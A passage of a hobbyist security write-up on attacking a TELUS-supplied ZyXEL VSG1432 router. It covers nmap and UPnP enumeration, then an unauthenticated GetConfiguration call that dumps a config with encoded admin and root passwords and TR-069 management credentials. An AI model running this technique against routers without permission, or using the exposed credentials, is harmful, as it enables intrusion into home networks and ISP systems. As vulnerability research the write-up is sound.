Getting root on a TELUS VGS1432 cable modem and router


ZyXEL VSG1432A friend of mine recently issued me with a challenge to try to break into his router. I would have LAN access (via WiFi), but that would be it, no touchy touchy. I’d wanted the chance to try and get a copy of the firmware on these routers, as it isn’t available for download, in order to poke around. This router came with a package from Telus so it was likely running firmware that differed in some way to the stock ZyXEL image.

After grabbing the laptop out and firing it up, the first order of business was to head on over to the web portal and try some default usernames and passwords. There are a few lists around but none of the passwords worked. It appears that Telus set all the passwords via remote management (CWMP / TR069) so the next stop was nmap.

nada@nemph:~/working/zyxel_vsg1432$ sudo nmap -sSU -nvv -A 192.168.1.254 -oN router.nmap

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-10-23 18:25 PDT
NSE: Loaded 122 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:25
Completed NSE at 18:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:25
Completed NSE at 18:25, 0.00s elapsed
Initiating ARP Ping Scan at 18:25
Scanning 192.168.1.254 [1 port]
Completed ARP Ping Scan at 18:25, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:25
Scanning 192.168.1.254 [1000 ports]
Discovered open port 443/tcp on 192.168.1.254
Discovered open port 80/tcp on 192.168.1.254
Discovered open port 5431/tcp on 192.168.1.254
Completed SYN Stealth Scan at 18:25, 1.97s elapsed (1000 total ports)
Initiating UDP Scan at 18:25
Scanning 192.168.1.254 [1000 ports]
Discovered open port 53/udp on 192.168.1.254
Completed UDP Scan at 18:42, 1002.42s elapsed (1000 total ports)
Initiating Service scan at 18:42
Scanning 7 services on 192.168.1.254
Service scan Timing: About 50.00% done; ETC: 18:44 (0:00:41 remaining)
Completed Service scan at 18:44, 87.57s elapsed (7 services on 1 host)
Initiating OS detection (try #1) against 192.168.1.254
NSE: Script scanning 192.168.1.254.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:44
Discovered open port 1900/udp on 192.168.1.254
NSE Timing: About 99.82% done; ETC: 18:44 (0:00:00 remaining)
Completed NSE at 18:44, 34.56s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:44
Completed NSE at 18:44, 0.00s elapsed
Nmap scan report for 192.168.1.254
Host is up, received arp-response (0.019s latency).
Scanned at 2015-10-23 18:25:54 PDT for 1128s
Not shown: 1993 closed ports
Reason: 996 port-unreaches and 997 resets
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 micro_httpd
|_http-methods: No Allow or Public header in OPTIONS response (status code 501)
|_http-server-header: micro_httpd
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http syn-ack ttl 64 micro_httpd
| http-cisco-anyconnect: 
|_ ERROR: Not a Cisco ASA or unsupported version
| ssl-cert: Subject: commonName=ZyXELModem.Home/organizationName=ZyXEL/stateOrProvinceName=Taiwan/countryName=TW/organizationalUnitName=MSG/emailAddress=zyxel@zyxel.com.tw/localityName=HsinChu
| Issuer: commonName=ZyXELRootCA/organizationName=ZyXEL/stateOrProvinceName=Taiwan/countryName=TW/organizationalUnitName=MSG/emailAddress=zyxel@zyxel.com.tw/localityName=HsinChu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-05-18T15:08:34
| Not valid after: 2030-05-18T15:08:34
| MD5: b3be e3c0 608c 8e86 ee36 83e6 f961 a209
| SHA-1: 6232 c906 2882 6410 d0e9 b775 e17c 51f0 6968 86e1
| -----BEGIN CERTIFICATE-----
| MIIDzTCCArWgAwIBAgIJAO1ZB6AbT50/MA0GCSqGSIb3DQEBBQUAMIGHMQswCQYD
| VQQGEwJUVzEPMA0GA1UECBMGVGFpd2FuMRAwDgYDVQQHEwdIc2luQ2h1MQ4wDAYD
| VQQKEwVaeVhFTDEMMAoGA1UECxMDTVNHMRQwEgYDVQQDEwtaeVhFTFJvb3RDQTEh
| MB8GCSqGSIb3DQEJARYSenl4ZWxAenl4ZWwuY29tLnR3MB4XDTEwMDUxODE1MDgz
| NFoXDTMwMDUxODE1MDgzNFowgYsxCzAJBgNVBAYTAlRXMQ8wDQYDVQQIEwZUYWl3
| YW4xEDAOBgNVBAcTB0hzaW5DaHUxDjAMBgNVBAoTBVp5WEVMMQwwCgYDVQQLEwNN
| U0cxGDAWBgNVBAMTD1p5WEVMTW9kZW0uSG9tZTEhMB8GCSqGSIb3DQEJARYSenl4
| ZWxAenl4ZWwuY29tLnR3MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| thPSlYnw9YpbQw2JC5FtpigGXc+GGgxO1ns7+tpwndkLDBfBE/YXWQDd1CGe1wUX
| 98CGqXOWjTbtpl0m8bht7JCZCoeAcYFFtrOWe69WxZU0lsL+DaUOqxERNjRKjx84
| BFxvHnA9R8yOSsZWbxHZRXVVil8Vfg5lBUPN1jK3M74n3J7D0UCAA8FU7BuMQxkd
| xlB4snIAgu6aZHQssMrmkS670y2qDAMQxudCo+5t94P0ADsRYcAOa7w7nPbuqic+
| u1Jrzx4pQwDY3hIB8etNf2UG0jstjUvy2SO+Qg+AxhbOByguGXiWPxjw8fhANrKb
| v3QXkfnX5b4QaQnJNNZgMQIDAQABozYwNDAaBgNVHREEEzARgg9aeVhFTE1vZGVt
| LkhvbWUwCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwDQYJKoZIhvcNAQEFBQADggEB
| ALhE9EtbCS67Za6c75ufQwNx6Q6Evrgbz2EFJsFVQS2axlH9eM7kUpUcA/X3MXKE
| BUBZNlj+Ch41LUJVW4MJ9rVlchKHZjrplrgM/60dBH2IU8AVTOcOOns+RP2KCc7F
| Y1pJQf0mqgQev6uYwC1zp70ENsfrqUNOOaDD7oUS46S3p5KE6MDoQVvpIXXR/KCi
| sJ1VXnJfENr/BnPXJH3HexwxIOiZEbjKmMzCKA23OISFQdlaK6OEsAo0eRy+8iIK
| 6fm5oZECK3KEir6YkOrJwEXtSn9qAmsQnYYcs6RPS3To5Eo7drekPRxhL75EYet1
| 8MC2p+Jli88EYGDqkAmQuW4=
|_-----END CERTIFICATE-----
5431/tcp open upnp syn-ack ttl 64 ZyXEL wireless router UPnP (UPnP 1.0; ZyXEL-UPnP 1.0)
53/udp open domain udp-response ttl 64 ISC BIND hostmaster
|_dns-recursion: Recursion appears to be enabled
67/udp open|filtered dhcps no-response
69/udp open|filtered tftp no-response
1900/udp open upnp? script-set
| upnp-info: 
| 192.168.1.254
| Server: Custom/1.0 UPnP/1.0 Proc/Ver
|_ Location: http://192.168.1.254:5431/dyndev/uuid:cc5d4ead-30cc-cc30-ad4e-5dcc5dadcc00
MAC Address: CC:5D:4E:XX:XX:XX (ZyXEL Communications)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
TCP/IP fingerprint:
OS:SCAN(V=6.49BETA5%E=4%D=10/23%OT=21%CT=1%CU=2%PV=Y%DS=1%DC=D%G=Y%M=CC5D4E
OS:%TM=562AE28B%P=x86_64-pc-linux-gnu)SEQ(SP=CA%GCD=1%ISR=D8%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW1%O2=M5B4ST11NW1%O3=M5B4NNT11NW1%O4=M5B4ST11NW1%O
OS:5=M5B4ST11NW1%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6
OS:=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW1%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M5B4ST
OS:11NW1%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=
OS:40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 5.554 days (since Sun Oct 18 05:26:16 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Linux, Linux 2.6; Devices: WAP, router; CPE: cpe:/h:dlink:dls-2750u, cpe:/o:linux:linux_kernel, cpe:/o:linux:linux_kernel:2.6

TRACEROUTE
HOP RTT ADDRESS
1 19.49 ms 192.168.1.254

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:44
Completed NSE at 18:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:44
Completed NSE at 18:44, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1129.09 seconds
 Raw packets sent: 2374 (86.324KB) | Rcvd: 2133 (102.794KB)
nada@nemph:~/working/zyxel_vsg1432$

 

Aside from the web portal (and a self signed https certificate) there was DNS and UPnP available. Not expecting much from UPnP, I fired up miranda to have a look.

 

nada@nemph:~/working/zyxel_vsg1432$ miranda
upnp> msearch
Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...
****************************************************************
SSDP reply message from 192.168.1.254:5431
XML file is located at http://192.168.1.254:5431/dyndev/uuid:cc5d4ead-30cc-cc30-ad4e-5dcc5dadcc00
Device is running Custom/1.0 UPnP/1.0 Proc/Ver
****************************************************************
****************************************************************
SSDP reply message from 192.168.1.254:1780
XML file is located at http://192.168.1.254:1780/WFADevice.xml
Device is running POSIX UPnP/1.0 UPnP Stack/estimation 1.00
****************************************************************
****************************************************************
SSDP reply message from 192.168.1.254:49431
XML file is located at http://192.168.1.254:49431/devicedesc.xml
Device is running Custom/1.0 UPnP/1.0 Proc/Ver
****************************************************************
Discover mode halted...
pnp>

 

That’s interesting, 3 services came back from the router. Normally there is only one for port forwarding. One of the services also seems to be different software that the other two.  Time to dig deeper…

 

upnp> host info 0
xmlFile : http://192.168.1.254:5431/dyndev/uuid:cc5d4ead-30cc-cc30-ad4e-5dcc5dadcc00
name : 192.168.1.254:5431
proto : http://
serverType : LINUX/2.6 UPnP/1.0 ZyXEL-UPnP/1.0
upnpServer : Custom/1.0 UPnP/1.0 Proc/Ver
dataComplete : True
deviceList : {}
upnp> host info 0 deviceList
InternetGatewayDevice : {}
WANDevice : {}
WANConnectionDevice : {}
upnp> host info 0 deviceList InternetGatwayDevice
modelName : VSG1432
modelNumber : 1.0
presentationURL : http://192.168.1.254:80/
friendlyName : VSG1432
fullName : urn:schemas-upnp-org:device:InternetGatewayDevice:1
modelDescription : Single-chip xDSL router
UDN : uuid:cc5d4ead-30cc-cc30-ad4e-5dcc5dadcc00
manufacturer : TELUS
services : {}
upnp> host info 0 deviceList InternetGatewayDevice services
Layer3Forwarding : {}
upnp>

 

So that one was expected. This is how programs get a external port forwarded to them. 2 more hosts to go…

 

upnp> host info 1

xmlFile : http://192.168.1.254:1780/WFADevice.xml
name : 192.168.1.254:1780
proto : http://
serverType : None
upnpServer : POSIX UPnP/1.0 UPnP Stack/estimation 1.00
dataComplete : True
deviceList : {}

upnp> host info 1 deviceList

WFADevice : {}

upnp> host info 1 deviceList WFADevice

manufacturerURL : http://www.broadcom.com
modelName : WPS
modelNumber : X1
friendlyName : WFADevice
fullName : urn:schemas-wifialliance-org:device:WFADevice:1
modelDescription : Wireless Device
UDN : uuid:771fc7b1-afd4-5fed-72b6-19fe6b19e954
manufacturer : Broadcom Corporation
services : {}

upnp> host info 1 deviceList WFADevice services

WFAWLANConfig : {}

upnp> host info 1 deviceList WFADevice services WFAWLANConfig

eventSubURL : /event?WFAWLANConfig
controlURL : /control?WFAWLANConfig
serviceId : urn:wifialliance-org:serviceId:WFAWLANConfig1
SCPDURL : /x_wfawlanconfig.xml
fullName : urn:schemas-wifialliance-org:service:WFAWLANConfig:1
actions : {}
serviceStateVariables : {}

upnp> host info 1 deviceList WFADevice services WFAWLANConfig actions

SetAPSettings : {}
PutMessage : {}
SetSelectedRegistrar : {}
GetSTASettings : {}
ResetSTA : {}
RebootSTA : {}
ResetAP : {}
DelSTASettings : {}
SetSTASettings : {}
GetAPSettings : {}
RebootAP : {}
PutWLANResponse : {}
DelAPSettings : {}
GetDeviceInfo : {}

upnp> host send 1 WFADevice WFAWLANConfig GetDeviceInfo

NewDeviceInfo : <Binary Data>

 

Well, that was somewhat interesting. The binary data contained the model number, manufacturer and other data. Not immediately useful tho. It looks like you could have some fun with the RebootSTA, RebootAP and DelAPSettings actions, if you were that way inclined. Let’s see what the final host contains.

 

upnp> host info 2
xmlFile : http://192.168.1.254:49431/devicedesc.xml
name : 192.168.1.254:49431
proto : http://
serverType : LINUX/2.6 UPnP/1.0 ZyXEL-UPnP/1.0
upnpServer : Custom/1.0 UPnP/1.0 Proc/Ver
dataComplete : True
deviceList : {}
upnp> host info 2 deviceList
InternetGatewayDevice : {}
WANDevice : {}
LANDevice : {}
WANConnectionDevice : {}
upnp> host info 2 deviceList InternetGatewayDevice
manufacturerURL : http://www.zyxel.com/
modelName : VSG1432
modelNumber : 1.0
presentationURL : http://192.168.1.254:80/
friendlyName : VSG1432
fullName : urn:dslforum-org:device:InternetGatewayDevice:1
modelDescription : Single-chip xDSL router
UDN : uuid:9a6cd2fe-340b-11e1-8730-cc5d4ead30cc
modelURL : http://www.zyxel.com/
manufacturer : TELUS
services : {}
upnp> host info 2 deviceList InternetGatewayDevice services
Layer2Bridging : {}
ManagementServer : {}
DeviceInfo : {}
IPPingDiagnostics : {}
DeviceConfig : {}
QueueManagement : {}
LANConfigSecurity : {}
Layer3Forwarding : {}
Time : {}
upnp> host info 2 deviceList InternetGatewayDevice services DeviceConfig
eventSubURL : /uuid:9a6cd2fe-340b-11e1-8730-cc5d4ead30cc/DeviceConfig:1
controlURL : /uuid:9a6cd2fe-340b-11e1-8730-cc5d4ead30cc/DeviceConfig:1
serviceId : urn:dslforum-org:service:DeviceConfig1
SCPDURL : /dynsvc/DeviceConfig:1.xml
fullName : urn:dslforum-org:service:DeviceConfig:1
actions : {}
serviceStateVariables : {}
upnp> host info 2 deviceList InternetGatewayDevice services DeviceConfig actions
GetConfiguration : {}
SetConfiguration : {}
FactoryReset : {}
ConfigurationFinished : {}
Reboot : {}
ConfigurationStarted : {}
upnp>

 

Oooo… GetConfiguration and SetConfiguration. This could be interesting.

 

upnp> host send 2 InternetGatewayDevice DeviceConfig GetConfiguration

NewConfigFile : <?xml version="1.0"?>
<DslCpeConfig version="3.0">
 <InternetGatewayDevice>
 <LANDeviceNumberOfEntries>1</LANDeviceNumberOfEntries>
 <WANDeviceNumberOfEntries>3</WANDeviceNumberOfEntries>
 <DeviceInfo>
 <FirstUseDate>2015-02-02T21:24:36-08:00</FirstUseDate>
 <VendorConfigFileNumberOfEntries>0</VendorConfigFileNumberOfEntries>
 </DeviceInfo>
 <X_5067F0_IPTVSTB>
 <DHCPOption60>SAIP*,MSFT_IPTV,udhcp*</DHCPOption60>
 <DHCPOption67>CVT/2/239.192.10.200:16000+SA=239.192.10.200:16000</DHCPOption67>
 </X_5067F0_IPTVSTB>
 <X_5067F0_SyslogCfg>
 <Enable>TRUE</Enable>
 <Option>local buffer</Option>
 <X_5067F0_LogCategory>System,DHCP_client,PPPoE,Wireless,DHCP_server,UPnP,NAT,Static_route,DDNS,IGMP,QoS,TR-069,NTP,Firewall,MAC_filter,Forwarded_web,Blocked_web,Attack,Certificate,IPSec,Account</X_5067F0_LogCategory>
 </X_5067F0_SyslogCfg>
 <X_5067F0_LoginCfg>
 <AdminPassword>ZFQyN01hQ2UyWVpQAA==</AdminPassword>
 <X_5067F0_LoginGroupNumberOfEntries>2</X_5067F0_LoginGroupNumberOfEntries>
 <X_5067F0_LoginGroupConfigurable>FALSE</X_5067F0_LoginGroupConfigurable>
 <LatestLoginSuccessTime>1443453908</LatestLoginSuccessTime>
 <CurrentLoginSuccessTime>1443455994</CurrentLoginSuccessTime>
 <X_5067F0_Login_Group instance="1">
 <GroupKey>0</GroupKey>
 <Privilege>broadband,homeNetworking,wireless,qos,nat,DNSSetting,IGMPSetting,firewall,macFilter,parentalControl,schedulerRules,arpTable,log,trafficStatus,igmpGroupStatus,xdslStatistics,timeSetting,logsSetting,firmwareUpgrade,configuration,reboot,disagnostic,quickStart,ntpServer</Privilege>
 <Name>Administrator</Name>
 <ConsoleLevel>2</ConsoleLevel>
 <Use_Login_Info instance="1">
 <UserName>tech</UserName>
 <Password>eU5rV2lUZ3hlMEZHAA==</Password>
 <CurrentLoginRetryTimes>2</CurrentLoginRetryTimes>
 <LoginFailCountLeft>1</LoginFailCountLeft>
 <ShowInfo>FALSE</ShowInfo>
 </Use_Login_Info>
 <Use_Login_Info nextInstance="2" ></Use_Login_Info>
 </X_5067F0_Login_Group>
 <X_5067F0_Login_Group instance="2">
 <GroupKey>2</GroupKey>
 <Privilege>homeNetworking,wireless,nat,DNSSetting,firewall,macFilter,parentalControl,schedulerRules,arpTable,log,timeSetting,firmwareUpgrade,configuration,reboot,disagnostic,quickStart</Privilege>
 <Name>User</Name>
 <Use_Login_Info instance="1">
 <UserName>admin</UserName>
 <Password>WW9naTgyOAA=</Password>
 <LatestLoginSuccessTime>1424427974</LatestLoginSuccessTime>
 <LatestLoginSuccessFrom>192.168.1.XX</LatestLoginSuccessFrom>
 <CurrentLoginRetryTimes>3</CurrentLoginRetryTimes>
 <CurrentLoginSuccessTime>1425121806</CurrentLoginSuccessTime>
 <CurrentLoginSuccessFrom>192.168.1.XX</CurrentLoginSuccessFrom>
 <LoginFailCountLeft>1</LoginFailCountLeft>
 <ShowInfo>FALSE</ShowInfo>
 </Use_Login_Info>
 <Use_Login_Info nextInstance="2" ></Use_Login_Info>
 </X_5067F0_Login_Group>
 <X_5067F0_Login_Group nextInstance="3" ></X_5067F0_Login_Group>
 </X_5067F0_LoginCfg>
 <X_5067F0_Users>
 <TechPassword>eU5rV2lUZ3hlMEZHAA==</TechPassword>
 <RootPassword>ZFQyN01hQ2UyWVpQAA==</RootPassword>
 </X_5067F0_Users>
 <X_5067F0_PortMapping>
 <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries>
 </X_5067F0_PortMapping>
 <X_5067F0_AccessServiceCfg>
 <HttpStatus>LAN_ONLY</HttpStatus>
 <SshStatus>DENY_ALL</SshStatus>
 <TelnetStatus>DENY_ALL</TelnetStatus>
 <FtpStatus>DENY_ALL</FtpStatus>
 <HttpsStatus>LAN_ONLY</HttpsStatus>
 </X_5067F0_AccessServiceCfg>
 <X_5067F0_Access>
 <LANTelnetEnabled>TRUE</LANTelnetEnabled>
 <LANSSHEnabled>TRUE</LANSSHEnabled>
 </X_5067F0_Access>
 <X_5067F0_EthernetSwitch>
 <NumberOfVirtualPorts>6</NumberOfVirtualPorts>
 <EnableVirtualPorts>TRUE</EnableVirtualPorts>
 <IfName>(null)</IfName>
 </X_5067F0_EthernetSwitch>
 <ManagementServer>
 <URL>https://dm.telus.com</URL>
 <LastConnectedURL>https://dm.telus.com</LastConnectedURL>
 <Username>5067F0S121K09008230</Username>
 <Password>14229410960095067F0</Password>
 <PeriodicInformEnable>TRUE</PeriodicInformEnable>
 <PeriodicInformInterval>172800</PeriodicInformInterval>
 <PeriodicInformTime>2015-09-28T15:58:36-08:00</PeriodicInformTime>
 <ConnectionRequestURL notification="2">http://66.183.0.0:7547/tr069</ConnectionRequestURL>
 <ConnectionRequestUsername>5067F0-VSG1432-S121K09008230</ConnectionRequestUsername>
 <ConnectionRequestPassword>cbb58ec43f846541c9b88a6990d08594</ConnectionRequestPassword>
 </ManagementServer>
 <Time>
 <NTPServer1>pool.ntp.org</NTPServer1>
 <NTPServer2>clock.isc.org</NTPServer2>
 <LocalTimeZone>Pacific Time, Tijuana</LocalTimeZone>
 <LocalTimeZoneName>PST8PDT,M3.2.0/2:0,M11.1.0/2:0</LocalTimeZoneName>
 </Time>
 <Layer2Bridging>
 <BridgeNumberOfEntries>1</BridgeNumberOfEntries>
 <FilterNumberOfEntries>13</FilterNumberOfEntries>
 <MarkingNumberOfEntries>0</MarkingNumberOfEntries>
 <AvailableInterfaceNumberOfEntries>13</AvailableInterfaceNumberOfEntries>
 <Bridge instance="1">
 <BridgeKey>0</BridgeKey>
 <BridgeEnable>TRUE</BridgeEnable>
 <BridgeName>Default</BridgeName>
 </Bridge>
 <Bridge nextInstance="2" ></Bridge>
 <Filter instance="1">
 <FilterKey>1</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>1</FilterInterface>
 </Filter>
 <Filter instance="2">
 <FilterKey>2</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>2</FilterInterface>
 </Filter>
 <Filter instance="3">
 <FilterKey>3</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>3</FilterInterface>
 </Filter>
 <Filter instance="4">
 <FilterKey>4</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>4</FilterInterface>
 </Filter>
 <Filter instance="5">
 <FilterKey>5</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>5</FilterInterface>
 </Filter>
 <Filter instance="6">
 <FilterKey>6</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterInterface>6</FilterInterface>
 </Filter>
 <Filter instance="7">
 <FilterKey>7</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterInterface>7</FilterInterface>
 </Filter>
 <Filter instance="8">
 <FilterKey>8</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterInterface>8</FilterInterface>
 </Filter>
 <Filter instance="9">
 <FilterKey>9</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>9</FilterInterface>
 </Filter>
 <Filter instance="10">
 <FilterKey>10</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>10</FilterInterface>
 </Filter>
 <Filter instance="11">
 <FilterKey>11</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>11</FilterInterface>
 </Filter>
 <Filter instance="12">
 <FilterKey>12</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>12</FilterInterface>
 </Filter>
 <Filter instance="13">
 <FilterKey>13</FilterKey>
 <FilterEnable>TRUE</FilterEnable>
 <FilterBridgeReference>0</FilterBridgeReference>
 <FilterInterface>13</FilterInterface>
 </Filter>
 <Filter nextInstance="14" ></Filter>
 <AvailableInterface instance="1">
 <AvailableInterfaceKey>1</AvailableInterfaceKey>
 <InterfaceType>LANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.1</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="2">
 <AvailableInterfaceKey>2</AvailableInterfaceKey>
 <InterfaceType>LANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.2</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="3">
 <AvailableInterfaceKey>3</AvailableInterfaceKey>
 <InterfaceType>LANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.3</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="4">
 <AvailableInterfaceKey>4</AvailableInterfaceKey>
 <InterfaceType>LANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.4</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="5">
 <AvailableInterfaceKey>5</AvailableInterfaceKey>
 <InterfaceType>LANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.1</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="6">
 <AvailableInterfaceKey>6</AvailableInterfaceKey>
 <InterfaceType>LANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.2</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="7">
 <AvailableInterfaceKey>7</AvailableInterfaceKey>
 <InterfaceType>LANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.3</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="8">
 <AvailableInterfaceKey>8</AvailableInterfaceKey>
 <InterfaceType>LANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_5067F0_WlanAdapter.WlVirtIntfCfg.4</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="9">
 <AvailableInterfaceKey>9</AvailableInterfaceKey>
 <InterfaceType>WANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.WANIPConnection.1</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="10">
 <AvailableInterfaceKey>10</AvailableInterfaceKey>
 <InterfaceType>WANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="11">
 <AvailableInterfaceKey>11</AvailableInterfaceKey>
 <InterfaceType>WANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.WANDevice.1.WANConnectionDevice.2.WANIPConnection.1</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="12">
 <AvailableInterfaceKey>12</AvailableInterfaceKey>
 <InterfaceType>WANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.WANDevice.3.WANConnectionDevice.1.WANIPConnection.1</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface instance="13">
 <AvailableInterfaceKey>13</AvailableInterfaceKey>
 <InterfaceType>LANInterface</InterfaceType>
 <InterfaceReference>InternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.5</InterfaceReference>
 </AvailableInterface>
 <AvailableInterface nextInstance="14" ></AvailableInterface>
 </Layer2Bridging>
 <QueueManagement>
 <Enable>TRUE</Enable>
 <ClassificationNumberOfEntries>17</ClassificationNumberOfEntries>
 <AppNumberOfEntries>0</AppNumberOfEntries>
 <FlowNumberOfEntries>0</FlowNumberOfEntries>
 <PolicerNumberOfEntries>0</PolicerNumberOfEntries>
 <QueueNumberOfEntries>8</QueueNumberOfEntries>
 <Classification instance="1">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>1</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <DestIP>198.53.64.20</DestIP>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule1</X_5067F0_ClassName>
 </Classification>
 <Classification instance="2">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>2</ClassificationOrder>
 <ClassInterface>Local</ClassInterface>
 <DestIP>198.53.64.20</DestIP>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule2</X_5067F0_ClassName>
 </Classification>
 <Classification instance="3">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>3</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <DestIP>198.53.64.21</DestIP>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule3</X_5067F0_ClassName>
 </Classification>
 <Classification instance="4">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>4</ClassificationOrder>
 <ClassInterface>Local</ClassInterface>
 <DestIP>198.53.64.21</DestIP>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule4</X_5067F0_ClassName>
 </Classification>
 <Classification instance="5">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>5</ClassificationOrder>
 <ClassInterface>LAN</ClassInterface>
 <Protocol>17</Protocol>
 <DestPort>123</DestPort>
 <DestPortRangeMax>123</DestPortRangeMax>
 <Ethertype>2048</Ethertype>
 <DSCPMark>16</DSCPMark>
 <ClassQueue>37</ClassQueue>
 <X_5067F0_ClassName>Rule5</X_5067F0_ClassName>
 <X_5067F0_VLANIDTag>0</X_5067F0_VLANIDTag>
 </Classification>
 <Classification instance="6">
 <ClassificationEnable>TRUE</ClassificationEnable>
 <ClassificationOrder>6</ClassificationOrder>
 <ClassInterface>Local</ClassInterface>
